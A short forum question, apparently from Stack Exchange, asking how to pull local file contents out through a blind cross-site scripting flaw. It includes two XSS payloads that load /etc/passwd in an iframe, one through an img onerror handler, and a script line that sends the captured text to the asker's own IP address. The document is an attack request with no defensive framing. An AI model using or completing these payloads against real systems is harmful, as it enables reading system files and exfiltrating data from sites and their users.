javascript – how can i read local files from blind xss

when i do one of this payloads i can see /etc/passwd

<iframe src=file:///etc/passwd></iframe>
<img src="https://security.stackexchange.com/xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>

however this i got blind xss so i need to send the iframe text back to me so i need to grub the iframe text and do something like <script>document.location.href = 'http://my_ip/' + iframe_text

how can i get the iframe text?